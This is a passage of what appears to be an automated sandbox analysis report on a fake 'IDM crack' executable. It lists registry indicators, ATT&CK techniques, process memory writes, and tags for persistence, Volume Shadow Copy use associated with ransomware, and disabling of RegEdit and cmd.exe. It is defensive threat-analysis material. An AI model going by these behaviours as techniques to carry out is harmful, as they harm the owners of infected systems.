Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Internet Explorer\Main	explorer.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 42 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4280978039-528710165-233981602-1000\{54F55436-2425-4D85-B0C0-630207208557}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\MuiCache	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56"	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56"	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4280978039-528710165-233981602-1000\{C00424A1-DA73-4337-874E-82B8CECF3D0F}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	StartMenuExperienceHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\MuiCache	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4496	chrome.exe
4496	chrome.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe
4356	IDM_6.4x_Crack_v20.6.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe
Token: SeShutdownPrivilege	4496	chrome.exe
Token: SeCreatePagefilePrivilege	4496	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4664	sihost.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe

Suspicious use of SendNotifyMessage 59 IoCs

pid	Process
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
4496	chrome.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe
204	explorer.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2916	StartMenuExperienceHost.exe
1936	SearchHost.exe
204	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4356 wrote to memory of 6060	4356	IDM_6.4x_Crack_v20.6.exe	89
PID 4356 wrote to memory of 4836	4356	IDM_6.4x_Crack_v20.6.exe	91
PID 4356 wrote to memory of 6044	4356	IDM_6.4x_Crack_v20.6.exe	94
PID 4836 wrote to memory of 4496	4836	wscript.exe	96
PID 4496 wrote to memory of 2704	4496	chrome.exe	97
PID 4496 wrote to memory of 4412	4496	chrome.exe	99
PID 4496 wrote to memory of 4760	4496	chrome.exe	100
PID 4496 wrote to memory of 4760	4496	chrome.exe	100
PID 4496 wrote to memory of 4276	4496	chrome.exe	98
PID 4496 wrote to memory of 4276	4496	chrome.exe	98
PID 4496 wrote to memory of 3144	4496	chrome.exe	101
PID 4496 wrote to memory of 3144	4496	chrome.exe	101
PID 4496 wrote to memory of 980	4496	chrome.exe	102
PID 4496 wrote to memory of 980	4496	chrome.exe	102
PID 4496 wrote to memory of 3496	4496	chrome.exe	104
PID 4496 wrote to memory of 3496	4496	chrome.exe	104
PID 4356 wrote to memory of 4228	4356	IDM_6.4x_Crack_v20.6.exe	105
PID 4496 wrote to memory of 4672	4496	chrome.exe	107
PID 4496 wrote to memory of 4672	4496	chrome.exe	107
PID 4496 wrote to memory of 6040	4496	chrome.exe	108
PID 4496 wrote to memory of 6040	4496	chrome.exe	108
PID 4356 wrote to memory of 4860	4356	IDM_6.4x_Crack_v20.6.exe	109
PID 4496 wrote to memory of 2016	4496	chrome.exe	111
PID 4496 wrote to memory of 5616	4496	chrome.exe	112
PID 4496 wrote to memory of 5616	4496	chrome.exe	112
PID 4496 wrote to memory of 3464	4496	chrome.exe	113
PID 4496 wrote to memory of 3464	4496	chrome.exe	113
PID 4496 wrote to memory of 5296	4496	chrome.exe	114
PID 4496 wrote to memory of 1316	4496	chrome.exe	115
PID 4496 wrote to memory of 6108	4496	chrome.exe	116
PID 4496 wrote to memory of 5296	4496	chrome.exe	114
PID 4496 wrote to memory of 1316	4496	chrome.exe	115
PID 4496 wrote to memory of 6108	4496	chrome.exe	116
PID 4496 wrote to memory of 3692	4496	chrome.exe	119
PID 4496 wrote to memory of 3692	4496	chrome.exe	119
PID 4496 wrote to memory of 2692	4496	chrome.exe	120
PID 4496 wrote to memory of 2692	4496	chrome.exe	120
PID 4496 wrote to memory of 6072	4496	chrome.exe	121
PID 4496 wrote to memory of 6072	4496	chrome.exe	121
PID 4496 wrote to memory of 3820	4496	chrome.exe	122
PID 4496 wrote to memory of 3820	4496	chrome.exe	122
PID 4496 wrote to memory of 2480	4496	chrome.exe	123
PID 4496 wrote to memory of 2480	4496	chrome.exe	123
PID 4496 wrote to memory of 5004	4496	chrome.exe	124
PID 4496 wrote to memory of 5004	4496	chrome.exe	124
PID 4496 wrote to memory of 3020	4496	chrome.exe	125
PID 4496 wrote to memory of 3160	4496	chrome.exe	126
PID 4496 wrote to memory of 3020	4496	chrome.exe	125
PID 4496 wrote to memory of 3160	4496	chrome.exe	126
PID 4356 wrote to memory of 1136	4356	IDM_6.4x_Crack_v20.6.exe	127
PID 4356 wrote to memory of 4132	4356	IDM_6.4x_Crack_v20.6.exe	129
PID 4356 wrote to memory of 1592	4356	IDM_6.4x_Crack_v20.6.exe	131
PID 4356 wrote to memory of 4556	4356	IDM_6.4x_Crack_v20.6.exe	134
PID 4356 wrote to memory of 5300	4356	IDM_6.4x_Crack_v20.6.exe	136
PID 4496 wrote to memory of 2596	4496	chrome.exe	138
PID 4496 wrote to memory of 1184	4496	chrome.exe	139
PID 4496 wrote to memory of 5304	4496	chrome.exe	140
PID 4356 wrote to memory of 3292	4356	IDM_6.4x_Crack_v20.6.exe	141
PID 4356 wrote to memory of 5744	4356	IDM_6.4x_Crack_v20.6.exe	143
PID 4356 wrote to memory of 1592	4356	IDM_6.4x_Crack_v20.6.exe	145
PID 4356 wrote to memory of 200	4356	IDM_6.4x_Crack_v20.6.exe	147
PID 4496 wrote to memory of 2528	4496	chrome.exe	149
PID 4496 wrote to memory of 2528	4496	chrome.exe	149
PID 4496 wrote to memory of 3320	4496	chrome.exe	150

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\IDM_6.4x_Crack_v20.6.exe
"C:\Users\Admin\AppData\Local\Temp\IDM_6.4x_Crack_v20.6.exe"
1⤵
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
